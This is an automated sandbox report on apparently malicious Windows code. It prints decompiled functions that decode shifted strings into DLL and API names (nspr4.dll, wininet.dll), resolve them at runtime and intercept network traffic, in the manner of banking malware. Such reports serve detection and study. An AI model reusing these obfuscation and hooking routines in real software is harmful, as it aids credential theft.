													__eflags = _t76 - 0x56404d48;
													if(_t76 == 0x56404d48) {
														goto L37;
													} else {
														__eflags = _t76 - 0x5452495e;
														if(_t76 != 0x5452495e) {
															__eflags = _t76 - 0x56405c5d;
															if(_t76 == 0x56405c5d) {
																L40:
																_t77 = 0x65;
																_push(0x15);
																goto L41;
															} else {
																__eflags = _t76 - 0x56524142;
																if(_t76 == 0x56524142) {
																	goto L40;
																}
															}
														} else {
															goto L37;
														}
													}
												}
											}
										} else {
											__eflags = _t72[0] - 0x44;
											if(_t72[0] != 0x44) {
												goto L33;
											} else {
												__eflags = _t72[0] - 0x57;
												if(_t72[0] != 0x57) {
													goto L33;
												} else {
													_t59 =  *_t72;
													__eflags = _t59 - 0x50;
													if(_t59 == 0x50) {
														L37:
														_t77 = 0x64;
														_push(0x14);
														L41:
														_pop(_t40);
														E00407384(_t40,  &_v696);
														_v700 = 0x80;
														_t44 =  *0x423814(_a4,  &_v652,  &_v700);
														__eflags = _t44;
														if(_t44 == 0) {
															_t79 =  &_v664;
															_t45 = E004117B4( &_v664);
															__eflags = _t45;
															if(_t45 == 0) {
																__eflags = _t77 - 0x65;
																if(_t77 == 0x65) {
																	L46:
																	E0041176B( &_v664, _t79,  &_v536);
																	_t48 = 0x13;
																	E00407384(_t48,  &_v696);
																	_push( &_v536);
																	_push( *((intOrPtr*)(_t84 + 8)));
																	_push( *((intOrPtr*)(_t84 + 4)));
																	E0041E59D(_t79, _t81, __eflags, _t77 & 0x000000ff, 0, 0,  &_v696,  &_v708);
																} else {
																	__eflags = _t77 - 0x64;
																	if(_t77 == 0x64) {
																		_t93 =  &_v696;
																		_t55 = 0x16;
																		E00407384(_t55, _t93);
																		_push( *((intOrPtr*)(_t84 + 4)));
																		_t81 = _t81 | 0xffffffff;
																		_t57 = 9;
																		_t79 = _t93;
																		_t58 = E0040EE45(_t57, _t93, _t81);
																		__eflags = _t58;
																		if(_t58 != 0) {
																			goto L46;
																		}
																	}
																}
															}
														}
														_push(0);
														L49:
														E00404655(_t84);
													} else {
														__eflags = _t59 - 0x43;
														if(_t59 == 0x43) {
															goto L37;
														} else {
															goto L33;
														}
													}
												}
											}
										}
									}
								}
							}
							_t74 = 0;
							goto L23;
						}
					} else {
						_t61 =  *__ecx ^ 0x0201080e;
						if(_t61 == 0x50445b5b || _t61 == 0x5152495e) {
							if(_t72[1] != 0x20) {
								goto L24;
							} else {
								_t62 = 0;
								_t94 = _t88 + 0xfffffffb;
								_t85 =  &(_t72[1]);
								if(_t94 == 0) {
									goto L51;
								} else {
									while(1) {
										_t80 =  *((intOrPtr*)(_t62 + _t85));
										if(_t80 == 0xd || _t80 == 0xa) {
											break;
										}
										if(_t80 < 0x20) {
											goto L51;
										} else {
											_t62 = _t62 + 1;
											if(_t62 < _t94) {
												continue;
											} else {
												break;
											}
										}
										goto L52;
									}
									if(_t62 == 0 || _t62 == _t94) {
										goto L51;
									} else {
										_t86 = E0040E475(_t62, 0xfde9, _t85);
										if(_t86 == 0) {
											goto L51;
										} else {
											_v701 = 0;
											EnterCriticalSection(0x422184);
											_t95 = L004045B6(_t72, _a4);
											if(_t95 != 0) {
												L18:
												__eflags =  *_t72 - 0x55;
												_v701 = 1;
												if( *_t72 != 0x55) {
													E0040E235( *((intOrPtr*)(_t95 + 8)));
													 *((intOrPtr*)(_t95 + 8)) = _t86;
												} else {
													E00404655(_t95, 1);
													 *((intOrPtr*)(_t95 + 4)) = _t86;
												}
												 *_t95 = _a4;
											} else {
												_t95 = L004045EF(_a4);
												if(_t95 != 0) {
													goto L18;
												} else {
													E0040E235(_t86);
												}
											}
											_t74 = _v701;
											L23:
											LeaveCriticalSection(0x422184);
											_t35 = _t74;
										}
									}
								}
							}
						} else {
							goto L24;
						}
					}
				}
				L52:
				return _t35;
			}

0x004046be
0x004046d1
0x004046d3
0x004046d5
0x0040492c
0x0040492c
0x0040492c
0x004046ef
0x004046f2
0x004047db
0x004047db
0x004047de
0x00000000
0x004047e4
0x004047e9
0x004047f7
0x004047fb
0x004047fd
0x00404803
0x00404806
0x0040491d
0x0040491d
0x00000000
0x0040480c
0x0040480c
0x0040480f
0x00000000
0x00404815
0x00404815
0x00404818
0x00404830
0x00404830
0x00404833
0x0040483b
0x00404841
0x00404847
0x00000000
0x00404849
0x00404849
0x0040484f
0x00000000
0x00404851
0x00404851
0x00404857
0x0040485f
0x00404865
0x00404873
0x00404873
0x00404875
0x00000000
0x00404867
0x00404867
0x0040486d
0x00000000
0x00000000
0x0040486d
0x00000000
0x00000000
0x00000000
0x00404857
0x0040484f
0x00404847
0x0040481a
0x0040481a
0x0040481e
0x00000000
0x00404820
0x00404820
0x00404824
0x00000000
0x00404826
0x00404826
0x00404828
0x0040482a
0x00404859
0x00404859
0x0040485b
0x00404877
0x0040487b
0x0040487c
0x0040488e
0x00404896
0x0040489c
0x0040489e
0x004048a0
0x004048a4
0x004048a9
0x004048ab
0x004048ad
0x004048b0
0x004048d7
0x004048e2
0x004048ed
0x004048ee
0x004048fa
0x004048fb
0x00404902
0x00404911
0x004048b2
0x004048b2
0x004048b5
0x004048b9
0x004048bd
0x004048be
0x004048c3
0x004048c6
0x004048cb
0x004048cc
0x004048ce
0x004048d3
0x004048d5
0x00000000
0x00000000
0x004048d5
0x004048b5
0x004048b0
0x004048ab
0x00404919
0x0040491e
0x00404920
0x0040482c
0x0040482c
0x0040482e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040482e
0x0040482a
0x00404824
0x0040481e
0x00404818
0x0040480f
0x00404806
0x00404925
0x00000000
0x00404925
0x004046f8
0x004046fa
0x00404704
0x00404715
0x00000000
0x0040471b
0x0040471b
0x0040471d
0x00404720
0x00404723
0x00000000
0x00404729
0x00404729
0x00404729
0x0040472f
0x00000000
0x00000000
0x00404739
0x00000000
0x0040473f
0x0040473f
0x00404742
0x00000000
0x00000000
0x00000000
0x00000000
0x00404742
0x00000000
0x00404739
0x00404746
0x00000000
0x00404754
0x0040475f
0x00404763
0x00000000
0x00404769
0x0040476e
0x00404773
0x00404781
0x00404785
0x0040479d
0x0040479d
0x004047a0
0x004047a5
0x004047b8
0x004047bd
0x004047a7
0x004047ab
0x004047b0
0x004047b0
0x004047c3
0x00404787
0x0040478f
0x00404793
0x00000000
0x00404795
0x00404796
0x00404796
0x00404793
0x004047c5
0x004047c9
0x004047ce
0x004047d4
0x004047d4
0x00404763
0x00404746
0x00404723
0x00000000
0x00000000
0x00000000
0x00404704
0x004046f2
0x0040492e
0x00404934

APIs

EnterCriticalSection.KERNEL32(00422184,0000FDE9,?), ref: 00404773
LeaveCriticalSection.KERNEL32(00422184,?,000000FF), ref: 004047CE
EnterCriticalSection.KERNEL32(00422184), ref: 004047E9
getpeername.WS2_32 ref: 00404896

Strings

D, xrefs: 0040481A
]\@V, xrefs: 0040485F
^IRT, xrefs: 00404851
, xrefs: 00404711
W, xrefs: 00404820
ZQQG, xrefs: 00404841
U, xrefs: 0040479D
BARV, xrefs: 00404867
^IRQ, xrefs: 00404706
[[DP, xrefs: 004046FF
HM@V, xrefs: 00404849

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Enter$Leavegetpeername
String ID: $BARV$D$HM@V$U$W$ZQQG$[[DP$]\@V$^IRQ$^IRT
API String ID: 1099368488-3704181913
Opcode ID: e789a068c5efca04f5c4ac8d649e1baa7acdbf34d32322f53f3e98a7bb487ef2
Instruction ID: 6137f8a340ee6ba1e05b42a57e03da45f5f4c643d2adab297be6db9b3328bc91
Opcode Fuzzy Hash: e789a068c5efca04f5c4ac8d649e1baa7acdbf34d32322f53f3e98a7bb487ef2
Instruction Fuzzy Hash: 3F5158F1900351AADF30AA758881BAB77955BC2314F14493BEB94BB2E1D73DD841C24E

Uniqueness

Uniqueness Score: -1.00%

Function 004151A8, Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 99
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004151A8() {
				struct HINSTANCE__* _v8;
				char _v20;
				char _v36;
				char _v56;
				char _v76;
				short _v100;
				intOrPtr* _t28;
				struct HINSTANCE__* _t30;
				char* _t34;
				char* _t39;
				char* _t44;
				char* _t49;

				lstrcpyW( &_v100, L"ujnycrk0fnn");
				_t28 =  &_v100;
				if(_v100 == 0) {
					L2:
					_t30 = GetModuleHandleW( &_v100);
					_v8 = _t30;
					if(_t30 == 0) {
						return 0;
					}
					lstrcpyA( &_v20, "xwotqsjougX");
					_t34 =  &_v20;
					if(_v20 == 0) {
						L5:
						 *0x4237c0 = GetProcAddress(_v8,  &_v20);
						lstrcpyA( &_v56, "QbuiGjoeGjmfObnfX");
						_t39 =  &_v56;
						if(_v56 == 0) {
							L7:
							 *0x4229b4 = GetProcAddress(_v8,  &_v56);
							lstrcpyA( &_v76, "QbuiBeeCbdltmbtiX");
							_t44 =  &_v76;
							if(_v76 == 0) {
								L9:
								 *0x4237f8 = GetProcAddress(_v8,  &_v76);
								lstrcpyA( &_v36, "QbuiNbudiTqfdX");
								_t49 =  &_v36;
								if(_v36 == 0) {
									L11:
									 *0x4237dc = GetProcAddress(_v8,  &_v36);
									return 1;
								} else {
									goto L10;
								}
								do {
									L10:
									 *_t49 =  *_t49 - 1;
									_t49 = _t49 + 1;
								} while ( *_t49 != 0);
								goto L11;
							} else {
								goto L8;
							}
							do {
								L8:
								 *_t44 =  *_t44 - 1;
								_t44 = _t44 + 1;
							} while ( *_t44 != 0);
							goto L9;
						} else {
							goto L6;
						}
						do {
							L6:
							 *_t39 =  *_t39 - 1;
							_t39 = _t39 + 1;
						} while ( *_t39 != 0);
						goto L7;
					} else {
						goto L4;
					}
					do {
						L4:
						 *_t34 =  *_t34 - 1;
						_t34 = _t34 + 1;
					} while ( *_t34 != 0);
					goto L5;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t28 =  *_t28 + 0xfffe;
					_t28 = _t28 + 2;
				} while ( *_t28 != 0);
				goto L2;
			}

0x004151b8
0x004151c0
0x004151c7
0x004151d9
0x004151dd
0x004151e3
0x004151e8
0x00000000
0x004152a2
0x004151ff
0x00415201
0x00415207
0x00415210
0x0041521f
0x0041522d
0x0041522f
0x00415235
0x0041523e
0x00415247
0x00415255
0x00415257
0x0041525d
0x00415266
0x0041526f
0x0041527d
0x0041527f
0x00415285
0x0041528e
0x00415298
0x00000000
0x00000000
0x00000000
0x00000000
0x00415287
0x00415287
0x00415287
0x00415289
0x0041528a
0x00000000
0x00000000
0x00000000
0x00000000
0x0041525f
0x0041525f
0x0041525f
0x00415261
0x00415262
0x00000000
0x00000000
0x00000000
0x00000000
0x00415237
0x00415237
0x00415237
0x00415239
0x0041523a
0x00000000
0x00000000
0x00000000
0x00000000
0x00415209
0x00415209
0x00415209
0x0041520b
0x0041520c
0x00000000
0x00000000
0x00000000
0x00000000
0x004151c9
0x004151c9
0x004151ce
0x004151d1
0x004151d4
0x00000000

APIs

lstrcpyW.KERNEL32(?,ujnycrk0fnn), ref: 004151B8
GetModuleHandleW.KERNEL32(?), ref: 004151DD
lstrcpyA.KERNEL32(?,xwotqsjougX,73BB8170,73B74EE0), ref: 004151FF
GetProcAddress.KERNEL32(00000000,?), ref: 0041521D
lstrcpyA.KERNEL32(?,QbuiGjoeGjmfObnfX), ref: 0041522D
GetProcAddress.KERNEL32(00000000,?), ref: 00415245
lstrcpyA.KERNEL32(?,QbuiBeeCbdltmbtiX), ref: 00415255
GetProcAddress.KERNEL32(00000000,?), ref: 0041526D
lstrcpyA.KERNEL32(00000000,QbuiNbudiTqfdX), ref: 0041527D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00415295

Strings

QbuiNbudiTqfdX, xrefs: 00415274
QbuiGjoeGjmfObnfX, xrefs: 00415224
ujnycrk0fnn, xrefs: 004151AF
xwotqsjougX, xrefs: 004151F6
QbuiBeeCbdltmbtiX, xrefs: 0041524C

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$AddressProc$HandleModule
String ID: QbuiBeeCbdltmbtiX$QbuiGjoeGjmfObnfX$QbuiNbudiTqfdX$ujnycrk0fnn$xwotqsjougX
API String ID: 750287672-1888104642
Opcode ID: ceb42679aadbb3d93f86c1103efc3af3c225097ea697a2af766f97a14dee23d5
Instruction ID: 97a9b661eb14576931ee0bbc79ad4a9bde1e8b478af97fe66abe795118d2f3e9
Opcode Fuzzy Hash: ceb42679aadbb3d93f86c1103efc3af3c225097ea697a2af766f97a14dee23d5
Instruction Fuzzy Hash: C8314AB2D4129CEEDF11EBE0DD448EEBBBDEE85300B5804A6E541E7160E3785A89DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00404CD0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 124
filestringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404CD0(void* __ecx, void* __edx, void* __eflags) {
				long _v8;
				signed int _v12;
				short _v32;
				short _v36;
				void _v556;
				void* __edi;
				unsigned int _t30;
				intOrPtr* _t38;
				void* _t41;
				intOrPtr* _t44;
				struct HINSTANCE__* _t46;
				void* _t47;
				void* _t56;
				void* _t59;
				WCHAR* _t60;
				void* _t61;
				void* _t65;

				_t59 = __edx;
				_t56 = __ecx;
				InitializeCriticalSection(0x4238f4);
				 *0x4238e8 = 0;
				 *0x4238f0 = 0;
				 *0x4238ec = 0;
				 *0x4238e4 = 0;
				 *0x4227d0 = 0;
				 *0x4227c8 = 0;
				 *0x4227cc = 0;
				InitializeCriticalSection(0x4227b0);
				_t60 =  &_v556;
				E00405688(_t56, _t60, 0);
				_v12 = _v12 | 0xffffffff;
				_v8 = 0x1fe;
				_t61 = CreateFileW(_t60, 0x80000000, 1, 0, 3, 0, 0);
				if(_t61 != 0xffffffff) {
					if(ReadFile(_t61,  &_v556, _v8,  &_v8, 0) != 0) {
						_v12 = _v8;
					}
					CloseHandle(_t61);
				}
				_t30 = _v12;
				if(_t30 == 0xffffffff || (_t30 & 0x00000001) != 0) {
					_t30 = 0;
				}
				_t57 = 0;
				 *((short*)(_t65 + (_t30 >> 1) * 2 - 0x228)) = 0;
				E00417900( &_v556);
				E004063C4( &_v556);
				 *0x422180 = 0;
				 *0x42219c = 0;
				InitializeCriticalSection(0x422184);
				lstrcpyW( &_v32, L"otqs5/emm");
				_t38 =  &_v32;
				if(_v32 != 0) {
					do {
						_t57 = 0xffff;
						 *_t38 =  *_t38 + 0xffff;
						_t38 = _t38 + 2;
					} while ( *_t38 != 0);
				}
				if(GetModuleHandleW( &_v32) == 0) {
					_t41 = 0;
				} else {
					_t41 = E0040D523(_t57, _t59, _t40);
				}
				if(_t41 != 0) {
					 *0x423848 =  *0x423848 | 0x00000001;
				}
				lstrcpyW( &_v36, L"ykpkpgv0fnn");
				_t44 =  &_v36;
				if(_v36 != 0) {
					do {
						 *_t44 =  *_t44 + 0xfffe;
						_t44 = _t44 + 2;
					} while ( *_t44 != 0);
				}
				_t46 = GetModuleHandleW( &_v36);
				if(_t46 == 0) {
					_t47 = 0;
				} else {
					_push(_t46);
					_t47 = E0040D60C();
				}
				if(_t47 != 0) {
					 *0x423848 =  *0x423848 | 0x00000002;
				}
				E0040D447();
				return 1;
			}

0x00404cd0
0x00404cd0
0x00404ce7
0x00404cf2
0x00404cf8
0x00404cfe
0x00404d04
0x00404d0a
0x00404d10
0x00404d16
0x00404d1c
0x00404d1f
0x00404d25
0x00404d2a
0x00404d3d
0x00404d4a
0x00404d4f
0x00404d69
0x00404d6e
0x00404d6e
0x00404d72
0x00404d72
0x00404d78
0x00404d7e
0x00404d84
0x00404d84
0x00404d88
0x00404d8a
0x00404d98
0x00404da3
0x00404dad
0x00404db3
0x00404db9
0x00404dca
0x00404dcc
0x00404dd3
0x00404dd5
0x00404dd5
0x00404dda
0x00404ddd
0x00404de0
0x00404dd5
0x00404df1
0x00404dfc
0x00404df3
0x00404df5
0x00404df5
0x00404e00
0x00404e02
0x00404e02
0x00404e12
0x00404e14
0x00404e1b
0x00404e1d
0x00404e22
0x00404e25
0x00404e28
0x00404e1d
0x00404e31
0x00404e39
0x00404e43
0x00404e3b
0x00404e3b
0x00404e3c
0x00404e3c
0x00404e47
0x00404e49
0x00404e49
0x00404e50
0x00404e5b

APIs

InitializeCriticalSection.KERNEL32(004238F4,73BB8170,73B74EE0,00000000), ref: 00404CE7
InitializeCriticalSection.KERNEL32(004227B0), ref: 00404D1C

Part of subcall function 00405688: PathRenameExtensionW.SHLWAPI(?,.dat,?,00422308,00000000,00000032,?,77109EB0,00000000), ref: 00405701

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 00404D44
ReadFile.KERNEL32(00000000,?,000001FE,000001FE,00000000), ref: 00404D61
CloseHandle.KERNEL32(00000000), ref: 00404D72
InitializeCriticalSection.KERNEL32(00422184), ref: 00404DB9
lstrcpyW.KERNEL32(?,otqs5/emm), ref: 00404DCA
GetModuleHandleW.KERNEL32(?), ref: 00404DE9
lstrcpyW.KERNEL32(00000000,ykpkpgv0fnn), ref: 00404E12
GetModuleHandleW.KERNEL32(00000000), ref: 00404E31

Strings

otqs5/emm, xrefs: 00404DC1
ykpkpgv0fnn, xrefs: 00404E09

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalHandleInitializeSection$FileModulelstrcpy$CloseCreateExtensionPathReadRename
String ID: otqs5/emm$ykpkpgv0fnn
API String ID: 468910078-2624498802
Opcode ID: 8e3532afb5e64cd57335191f9b8fbaca8586664c5dab8dc16d8aa487746309c5
Instruction ID: 88fc14b8bef9be25d3b1e96c378b1512729e0225c7dea6f5a09da02261a48cb1
Opcode Fuzzy Hash: 8e3532afb5e64cd57335191f9b8fbaca8586664c5dab8dc16d8aa487746309c5
Instruction Fuzzy Hash: 3A4184B1A00208ABCB20EFA4DD859AE77BCFF44314B54057BE601F72E0D77C8A469B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C261, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 159
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C261(void* _a4, signed short _a8, long* _a12, intOrPtr* _a16, signed int* _a20) {
				void _v8;
				signed int _v12;
				long _v16;
				long _v20;
				void _v24;
				void _v28;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v72;
				struct _BY_HANDLE_FILE_INFORMATION _v80;
				signed int _t74;
				long _t75;
				signed short _t76;
				long* _t77;
				long _t97;
				void _t102;
				signed char _t105;
				signed int _t111;
				void* _t112;
				intOrPtr* _t114;
				signed int* _t115;

				_t112 = _a4;
				if(GetFileInformationByHandle(_t112,  &_v80) == 0) {
					return 0x200;
				}
				_t105 = _v80.dwFileAttributes;
				_t111 = _t105 & 1;
				_v12 = 0;
				if(_t111 != 0) {
					_v12 = 1;
				}
				if((_t105 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_t105 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				_t74 = _t105 & 0x00000010;
				if(_t74 != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_t105 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if(_t74 == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if(_t111 == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_t75 = GetFileSize(_t112, 0);
				_v20 = _t75;
				if(_t75 > 0x28) {
					SetFilePointer(_t112, 0, 0, 0);
					ReadFile(_t112,  &_v8, 2,  &_v16, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v24, 4,  &_v16, 0);
					if(_v8 == 0x54ad) {
						_t97 = _v24;
						if(_v20 > _t97 + 0x34) {
							SetFilePointer(_a4, _t97, 0, 0);
							ReadFile(_a4,  &_v28, 4,  &_v16, 0);
							_t102 = _v28;
							if(_t102 == 0x5a4d || _t102 == 0x454e || _t102 == 0x454c || _t102 == 0x4550) {
								_v12 = _v12 | 0x00400000;
							}
						}
					}
				}
				_t76 = _a8;
				if(_t76 != 0) {
					 *_t76 = _v12;
				}
				_t77 = _a12;
				if(_t77 != 0) {
					 *_t77 = _v20;
				}
				_t114 = _a16;
				if(_t114 != 0) {
					 *_t114 = E0040C1E2(_v80.ftLastAccessTime, _v64);
					 *(_t114 + 4) = _t111;
					 *((intOrPtr*)(_t114 + 8)) = E0040C1E2(_v80.ftLastWriteTime, _v56);
					 *(_t114 + 0xc) = _t111;
					 *((intOrPtr*)(_t114 + 0x10)) = E0040C1E2(_v80.ftCreationTime, _v72);
					 *(_t114 + 0x14) = _t111;
				}
				_t115 = _a20;
				if(_t115 != 0) {
					E0040C206(_v80.ftLastWriteTime, _v56,  &_a4,  &_a8);
					 *_t115 = (_a4 & 0x0000ffff) << 0x00000010 | _a8 & 0x0000ffff;
				}
				return 0;
			}

0x0040c26a
0x0040c27a
0x00000000
0x0040c27c
0x0040c286
0x0040c290
0x0040c292
0x0040c295
0x0040c297
0x0040c297
0x0040c29d
0x0040c29f
0x0040c29f
0x0040c2a6
0x0040c2a8
0x0040c2a8
0x0040c2ae
0x0040c2b1
0x0040c2b3
0x0040c2b3
0x0040c2ba
0x0040c2bc
0x0040c2bc
0x0040c2c2
0x0040c2cd
0x0040c2c4
0x0040c2c4
0x0040c2c4
0x0040c2d4
0x0040c2dd
0x0040c2df
0x0040c2df
0x0040c2e8
0x0040c2ee
0x0040c2f4
0x0040c304
0x0040c318
0x0040c321
0x0040c331
0x0040c33c
0x0040c33e
0x0040c347
0x0040c34f
0x0040c35f
0x0040c361
0x0040c369
0x0040c380
0x0040c380
0x0040c369
0x0040c347
0x0040c33c
0x0040c387
0x0040c38c
0x0040c391
0x0040c391
0x0040c393
0x0040c398
0x0040c39d
0x0040c39d
0x0040c39f
0x0040c3a4
0x0040c3b4
0x0040c3b9
0x0040c3c4
0x0040c3ca
0x0040c3d2
0x0040c3d5
0x0040c3d5
0x0040c3d8
0x0040c3dd
0x0040c3ed
0x0040c3ff
0x0040c3ff
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(00000050,?,?,00000000,00000000), ref: 0040C272
GetFileSize.KERNEL32(00000050,00000000), ref: 0040C2E8
SetFilePointer.KERNEL32(00000050,00000000,00000000,00000000), ref: 0040C304
ReadFile.KERNEL32(00000050,00000068,00000002,00000070,00000000), ref: 0040C318
SetFilePointer.KERNEL32(01000000,00000024,00000000,00000000), ref: 0040C321
ReadFile.KERNEL32(01000000,?,00000004,00000070,00000000), ref: 0040C331
SetFilePointer.KERNEL32(01000000,?,00000000,00000000), ref: 0040C34F
ReadFile.KERNEL32(01000000,0040C6A1,00000004,00000070,00000000), ref: 0040C35F

Strings

LpPh, xrefs: 0040C39A, 0040C393
pPh, xrefs: 0040C387, 0040C352, 0040C3F6, 0040C3DF, 0040C324, 0040C307
, xrefs: 0040C2BC

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID: $LpPh$pPh
API String ID: 2979504256-3324997628
Opcode ID: e71cd031baf2327c3f4eb038a8a58222636146cbe849a644e1e37fa0f3466d4c
Instruction ID: ce7f14461e6e61fded93748da8e821be7f34768bb765afe36ecdb01f4daf8e64
Opcode Fuzzy Hash: e71cd031baf2327c3f4eb038a8a58222636146cbe849a644e1e37fa0f3466d4c
Instruction Fuzzy Hash: E7511B71900209EFDB14DF94C8C1AAEBFB9EB44344F20857AF951F62A0D7389E85CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406FFF, Relevance: 18.3, APIs: 9, Strings: 3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00406FFF(void* __edx, intOrPtr _a4, signed int _a8, signed char _a12) {
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v36;
				intOrPtr _v40;
				void* _v44;
				void* _v60;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int _v84;
				signed char _v88;
				signed int _v92;
				void* _v96;
				intOrPtr _v104;
				signed int _v108;
				void* _v112;
				void* _v132;
				void* __esi;
				signed int _t111;
				signed int _t113;
				signed char _t114;
				signed int _t115;
				void* _t117;
				signed char _t121;
				signed int _t122;
				signed int _t125;
				signed int _t128;
				signed char _t130;
				signed char _t136;
				intOrPtr _t149;
				void* _t165;
				signed char _t166;
				void* _t172;
				intOrPtr _t178;
				signed int _t184;
				void* _t186;
				void* _t188;
				signed int _t202;
				signed int _t203;
				signed int _t205;
				void* _t207;

				_t207 = (_t205 & 0xfffffff8) - 0x5c;
				if(E0040548D() == 0 || _a8 == 0 || _a12 <= 0) {
					L9:
					_t111 =  *0x422778(_a4, _a8, _a12);
					goto L10;
				} else {
					EnterCriticalSection(0x422788);
					_t192 = _a4;
					_t184 = E0040600A(_a4);
					_v84 = _t184;
					if(_t184 == 0xffffffff) {
						L8:
						LeaveCriticalSection(0x422788);
						goto L9;
					}
					_t186 = _t184 * 0x38 +  *0x4227a4;
					if( *(_t186 + 0x20) > 0) {
						L29:
						_t113 =  *(_t186 + 0x24);
						_t188 =  *(_t186 + 0x20) - _t113;
						LeaveCriticalSection(0x422788);
						_t195 = _a4;
						_t114 =  *0x422778(_a4,  *((intOrPtr*)(_t186 + 0x1c)) + _t113, _t188);
						_v88 = _t114;
						__eflags = _t114 - 0xffffffff;
						if(_t114 != 0xffffffff) {
							EnterCriticalSection(0x422788);
							_t115 = E0040600A(_t195);
							__eflags = _t115 - 0xffffffff;
							if(_t115 != 0xffffffff) {
								_t166 = _v88;
								_t117 = _t115 * 0x38 +  *0x4227a4;
								__eflags = _t166 - _t188;
								if(_t166 != _t188) {
									 *((intOrPtr*)(_t117 + 0x24)) =  *((intOrPtr*)(_t117 + 0x24)) + _t166;
									_t92 = _t117 + 0x28;
									 *_t92 =  *(_t117 + 0x28) - 1;
									__eflags =  *_t92;
									_v88 = 1;
								} else {
									_t88 = _t117 + 0x1c; // -4335496
									_v88 =  *(_t117 + 0x28);
									E0040E2E8(E0040E235( *_t88), _t88, 0, 0x10);
								}
							} else {
								_v88 = _v88 | _t115;
								 *0x422784(0xffffe890, 8);
							}
							LeaveCriticalSection(0x422788);
						}
						L36:
						_t111 = _v88;
						L10:
						return _t111;
					}
					if( *(_t186 + 8) > 0) {
						L38:
						LeaveCriticalSection(0x422788);
						_t197 = _a4;
						_t121 =  *0x422778(_a4, _a8, _a12);
						_v88 = _t121;
						__eflags = _t121 - 0xffffffff;
						if(_t121 != 0xffffffff) {
							EnterCriticalSection(0x422788);
							_t122 = E0040600A(_t197);
							__eflags = _t122 - 0xffffffff;
							if(_t122 != 0xffffffff) {
								_t172 = _t122 * 0x38 +  *0x4227a4;
								_t178 =  *((intOrPtr*)(_t172 + 8));
								__eflags = _v88 - _t178;
								if(_v88 > _t178) {
									E004060C8(_t122);
								} else {
									 *((intOrPtr*)(_t172 + 8)) = _t178 - _v88;
								}
							} else {
								_v88 = _v88 | _t122;
								 *0x422784(0xffffe890, 8);
							}
							LeaveCriticalSection(0x422788);
						}
						goto L36;
					}
					_t125 = E00406559( &_v76, _t192, _a8, _a12);
					_v92 = _t125;
					if(_t125 != 0xffffffff) {
						__eflags = _v72;
						if(_v72 == 0) {
							L37:
							E00408692( &_v76);
							_t128 = _v80 + _a12;
							__eflags = _t128;
							 *(_t186 + 8) = _t128;
							goto L38;
						}
						_t130 = E00407D60( &_v76);
						_v88 = _t130;
						__eflags = _t130 & 0x00000001;
						if((_t130 & 0x00000001) == 0) {
							_v92 = 0;
							_v88 = 0;
							__eflags = _t130 & 0x00000002;
							if(__eflags != 0) {
								_t203 = E0040E288(__eflags, _a8, _a12);
								 *(_t207 + 0x10) = _t203;
								__eflags = _t203;
								if(_t203 != 0) {
									E004086FC( *((intOrPtr*)(_t186 + 0x10)),  *((intOrPtr*)(_t186 + 0xc)));
									E0040E235( *(_t186 + 0x14));
									E0040E235( *((intOrPtr*)(_t186 + 4)));
									_t149 = E0040E693(_v76, _v80);
									 *(_t186 + 0x14) =  *(_t186 + 0x14) & 0x00000000;
									_t38 = _t186 + 0x18;
									 *_t38 =  *(_t186 + 0x18) & 0x00000000;
									__eflags =  *_t38;
									 *((intOrPtr*)(_t186 + 4)) = _t149;
									 *((intOrPtr*)(_t186 + 0xc)) = _v36;
									 *((intOrPtr*)(_t186 + 0x10)) =  *((intOrPtr*)(_t207 + 0x68));
